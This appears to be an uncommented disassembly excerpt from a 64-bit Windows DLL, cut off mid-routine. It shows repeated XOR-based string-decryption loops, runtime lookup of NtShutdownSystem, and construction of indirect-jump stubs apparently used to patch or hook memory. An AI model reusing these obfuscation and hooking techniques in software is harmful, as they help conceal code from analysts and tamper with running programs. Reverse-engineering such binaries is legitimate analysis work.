lea rcx, [rbp - 0x20]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov esi, r13d
mov r14, qword [0x18008a300]
mov ecx, r12d
mov rax, qword gs:[0x58]
mov rcx, qword [rax + rcx*8]
mov eax, dword [rsi + rcx]
cmp dword [0x18008a2f8], eax
jle 0x1800088cd
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x1800088cd
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x19f0], 0x25ff
mov word [rbp + 0x19f4], 0
mov qword [rbp + 0x19f6], r14
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1408], 0xe
lea rcx, [rbp + 0x1af0]
mov qword [rbp + 0x1058], rcx
mov qword [rbp + 0x1060], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1408]
lea r8, [rbp + 0x1058]
lea rdx, [rbp + 0x1060]
call r10
test al, al
je 0x180008a10
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x1400], 0xe
lea rcx, [rbp + 0x19f0]
mov qword [rbp + 0x1068], rcx
mov qword [rbp + 0x1070], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x1400]
lea r8, [rbp + 0x1068]
lea rdx, [rbp + 0x1070]
call r10
test al, al
je 0x180008a10
mov rcx, qword [rbp - 0x60]
add rcx, 0x60
mov r8d, 8
lea rdx, [rbp + 0x13f8]
call qword [0x18008a2b8]
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13f0], 0xe
lea rcx, [rbp + 0x1af0]
mov qword [rbp + 0x1078], rcx
mov qword [rbp + 0x1080], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13f0]
lea r8, [rbp + 0x1078]
lea rdx, [rbp + 0x1080]
call r10
movups xmm0, xmmword [0x18002ab90]
movups xmmword [rbp + 0x378], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180008b83
cmp r15d, 2
jl 0x180008b3f
mov edx, ebx
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x37c]
mov r8d, dword [rsp + 0x40]
nop
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x180008a50
jmp 0x180008b83
lea r9, [rbp + 0x378]
mov r8d, ebx
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x180008b50
movups xmm0, xmmword [0x18004ac88]
movups xmmword [rbp + 0x360], xmm0
psrldq xmm0, 0xf
movd eax, xmm0
test al, al
je 0x180008cf3
cmp r15d, 2
jl 0x180008cb0
mov edx, ebx
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x364]
mov r8d, dword [rsp + 0x40]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x180008bc1
jmp 0x180008cf3
lea r9, [rbp + 0x360]
mov r8d, ebx
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x180008cc0
mov eax, dword [0x18002abe0]
mov dword [rsp + 0x54], eax
movzx eax, word [0x18002abe4]
mov word [rsp + 0x58], ax
mov byte [rsp + 0x54], 0x2e
xor byte [rsp + 0x55], 0x39
xor byte [rsp + 0x56], 0x3a
xor byte [rsp + 0x57], 0x3b
xor byte [rsp + 0x58], 0x3c
xor byte [rsp + 0x59], 0x3d
movsd xmm0, qword [str.OPT_b]
movsd qword [rbp + 0x108], xmm0
mov eax, dword [0x18004aa20]
mov dword [rbp + 0x110], eax
movzx eax, word [0x18004aa24]
mov word [rbp + 0x114], ax
movzx eax, byte [0x18004aa26]
mov byte [rbp + 0x116], al
mov r8d, ebx
cmp r15d, 2
jl 0x180008e54
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.OPT_b]
xorps xmm1, xmm0
movd dword [rbp + 0x108], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x10c]
xorps xmm2, xmm1
movd dword [rbp + 0x10c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x108]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x180008e70
lea rcx, [rbp + 0x108]
call fcn.180001d70
test rax, rax
jne 0x180009078
movups xmm0, xmmword [str.QWLZPTZ]
movups xmmword [rbp + 0xbb0], xmm0
movups xmm1, xmmword [str._.6__f__j__9:__r_748WLQ_eODMK__b7e3___8k]
movups xmmword [rbp + 0xbc0], xmm1
movups xmm0, xmmword [0x18004aba0]
movups xmmword [rbp + 0xbd0], xmm0
movups xmm1, xmmword [0x18004abb0]
movups xmmword [rbp + 0xbe0], xmm1
cmp r15d, 2
jl 0x180009017
mov edx, ebx
lea rcx, [rbp + 0xbb0]
nop dword [rax]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x20
jl 0x180008f10
lea rcx, [rbp + 0xbb0]
call fcn.1800158e0
movzx esi, al
jmp 0x1800090bf
lea r9, [rbp + 0xbb0]
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x20
jl 0x180009030
lea rcx, [rbp + 0xbb0]
call fcn.1800158e0
movzx esi, al
jmp 0x1800090bf
mov dword [rsp + 0x40], ebx
lea r9, [rsp + 0x40]
mov r8, rax
lea rdx, [rsp + 0x54]
lea rcx, [rbp + 0x11f0]
call fcn.180016dc0
mov r8d, dword [rsp + 0x40]
lea rcx, [rbp + 0x378]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x360]
mov rdx, rax
lea rcx, [rbp + 0x11f0]
call fcn.180016820
mov rsi, rax
test rsi, rsi
jne 0x18000927e
movups xmm0, xmmword [0x18002aba0]
movups xmmword [rbp + 0x8d8], xmm0
movups xmm1, xmmword [0x18002abb0]
movups xmmword [rbp + 0x8e8], xmm1
movsd xmm0, qword [0x18002abc0]
movsd qword [rbp + 0x8f8], xmm0
movzx eax, word [0x18002abc8]
mov word [rbp + 0x900], ax
mov r8d, ebx
cmp r15d, 2
jl 0x18000921d
lea rcx, [rbp + 0x8d8]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm14
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x10
jl 0x180009120
cmp r8d, 0x15
jge 0x180009267
movsxd rax, r8d
lea r9, [rbp + 0x8d8]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x3a
movzx eax, r8w
sub ax, cx
add ax, 0x38
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x15
jl 0x180009230
lea rcx, [rbp + 0x8d8]
call fcn.1800158e0
movzx edi, al
movzx edi, al
jmp 0x18000e61c
mov dword [rbp + 0x1174], ebx
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a298], ecx
jle 0x180009563
lea rcx, [0x18008a298]
call fcn.180027290
cmp dword [0x18008a298], 0xffffffff
jne 0x180009563
mov rax, qword [str.UWVSK__]
mov qword [rbp + 0x58], rax
cmp byte [0x18002ac27], 0
je 0x1800093f3
cmp r15d, 2
jl 0x1800093b9
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm12
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x58]
xorps xmm2, xmm1
movd dword [rbp + 0x58], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x5c]
xorps xmm2, xmm1
movd dword [rbp + 0x5c], xmm2
jmp 0x1800093f3
lea r9, [rbp + 0x58]
mov r8d, ebx
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800093c0
mov eax, dword [0x18002abd8]
mov dword [rbp - 0x28], eax
movsd xmm0, qword [str.VMUHWOPSn_:D]
movzx eax, byte [0x18002abdc]
movsd qword [rbp - 0x30], xmm0
mov byte [rbp - 0x24], al
mov r8d, ebx
cmp r15d, 2
jl 0x180009500
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.VMUHWOPSn_:D]
xorps xmm1, xmm0
movd dword [rbp - 0x30], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x2c]
xorps xmm2, xmm1
movd dword [rbp - 0x2c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp - 0x30]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x180009510
lea rdx, [rbp + 0x58]
lea rcx, [rbp - 0x30]
call fcn.180001f60
mov qword [0x18008a300], rax
lea rcx, [0x18008a298]
call fcn.180027224
mov r14, qword [0x18008a300]
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a2f8], ecx
jle 0x1800095cc
lea rcx, [0x18008a2f8]
call fcn.180027290
cmp dword [0x18008a2f8], 0xffffffff
jne 0x1800095cc
lea rcx, [0x18002a978]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x18008a2b8], rax
lea rcx, [0x18008a2f8]
call fcn.180027224
mov dword [rbp + 0x19e0], 0x25ff
mov word [rbp + 0x19e4], 0
mov qword [rbp + 0x19e6], r14
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13e8], 0xe
lea rcx, [rbp + 0x1ae0]
mov qword [rbp + 0x1088], rcx
mov qword [rbp + 0x1090], rax
mov rcx, qword [rbp + 0x1228]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13e8]
lea r8, [rbp + 0x1088]
lea rdx, [rbp + 0x1090]
call r10
test al, al
je 0x180009739
mov rax, qword [0x18008a2a8]
mov qword [rbp + 0x13e0], 0xe
lea rcx, [rbp + 0x19e0]
mov qword [rbp + 0x1098], rcx
mov qword [rbp + 0x10a0], rax
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rax, qword [rcx]
mov r10, qword [rax + 0x10]
lea r9, [rbp + 0x13e0]
lea r8, [rbp + 0x1098]
lea rdx, [rbp + 0x10a0]
call r10
test al, al
je 0x180009739
mov rax, qword [0x18008a2b8]
lea rdx, [rsi + 3]
mov r8d, 4
lea rcx, [rbp + 0x1174]
call rax
mov r14, rax
mov rcx, qword [0x18008a2a8]
mov qword [rbp + 0x13d8], 0xe
lea rax, [rbp + 0x1ae0]
mov qword [rbp + 0x10a8], rax
mov qword [rbp + 0x10b0], rcx
mov rcx, qword [rbp + 0x1268]
test rcx, rcx
je 0x18000e6d9
mov rdx, qword [rcx]
mov r10, qword [rdx + 0x10]
lea r9, [rbp + 0x13d8]
lea r8, [rbp + 0x10a8]
lea rdx, [rbp + 0x10b0]
call r10
test al, al
je 0x180009739
test r14, r14
je 0x180009739
movsxd rax, dword [rbp + 0x1174]
add rax, 7
add rsi, rax
jmp 0x18000973c
mov rsi, rbx
movups xmm1, xmmword [0x18004aa90]
movups xmm0, xmmword [0x18004aa80]
movups xmmword [rbp + 0x1490], xmm1
movups xmmword [rbp + 0x1480], xmm0
movups xmm1, xmmword [0x18004aab0]
movups xmm0, xmmword [0x18004aaa0]
movups xmmword [rbp + 0x14b0], xmm1
movups xmmword [rbp + 0x14a0], xmm0
movups xmm1, xmmword [0x18004aad0]
movups xmm0, xmmword [0x18004aac0]
movups xmmword [rbp + 0x14d0], xmm1
movups xmmword [rbp + 0x14c0], xmm0
movzx eax, word [0x18004ab00]
movups xmm1, xmmword [0x18004aaf0]
movups xmm0, xmmword [0x18004aae0]
mov qword [rbp + 0x1140], rbx
mov qword [rbp + 0x1128], rbx
mov qword [rbp + 0x1120], rbx
mov word [rbp + 0x1500], ax
movups xmmword [rbp + 0x14f0], xmm1
movups xmmword [rbp + 0x14e0], xmm0
mov r8d, ebx
mov r10d, 0x82
cmp r15d, 2
jl 0x1800098f7
movdqa xmmword [rsp + 0x40], xmm12
lea rcx, [rbp + 0x1484]
mov edx, dword [rsp + 0x40]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm8
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x180009800
cmp r8d, r10d
jge 0x180009942
movsxd rax, r8d
lea r9, [rbp + 0x1480]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, r10d
jl 0x180009910
lea rax, [rbp + 0x1480]
mov qword [rbp + 0x1130], rax
mov word [rbp + 0x1138], r10w
mov edx, r12d
mov rax, qword gs:[0x58]
mov rax, qword [rax + rdx*8]
mov ecx, dword [r13 + rax]
cmp dword [0x18008a288], ecx
jle 0x18000a02e
lea rcx, [0x18008a288]
call fcn.180027290
cmp dword [0x18008a288], 0xffffffff
jne 0x18000a02e
movsd xmm0, qword [0x18002aa78]
movsd qword [rbp + 0xf8], xmm0
mov eax, dword [0x18002aa80]
mov dword [rbp + 0x100], eax
movzx eax, word [0x18002aa84]
mov word [rbp + 0x104], ax
movzx eax, byte [0x18002aa86]
mov byte [rbp + 0x106], al
mov r8d, ebx
cmp r15d, 2
jl 0x180009abf
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x18002aa78]
xorps xmm1, xmm0
movd dword [rbp + 0xf8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xfc]
xorps xmm2, xmm1
movd dword [rbp + 0xfc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf8]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x180009ad0
movsd xmm0, qword [0x18002aca8]
movsd qword [rbp + 0xd8], xmm0
mov eax, dword [str._b7D]
mov dword [rbp + 0xe0], eax
movzx eax, word [0x18002acb4]
mov word [rbp + 0xe4], ax
movzx eax, byte [0x18002acb6]
mov byte [rbp + 0xe6], al
mov r8d, ebx
cmp r15d, 2
jl 0x180009c30
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm8
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm12
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x18002aca8]
xorps xmm1, xmm0
movd dword [rbp + 0xd8], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm7
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm11
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xdc]
xorps xmm2, xmm1
movd dword [rbp + 0xdc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xd8]
add r9, rax
nop dword [rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
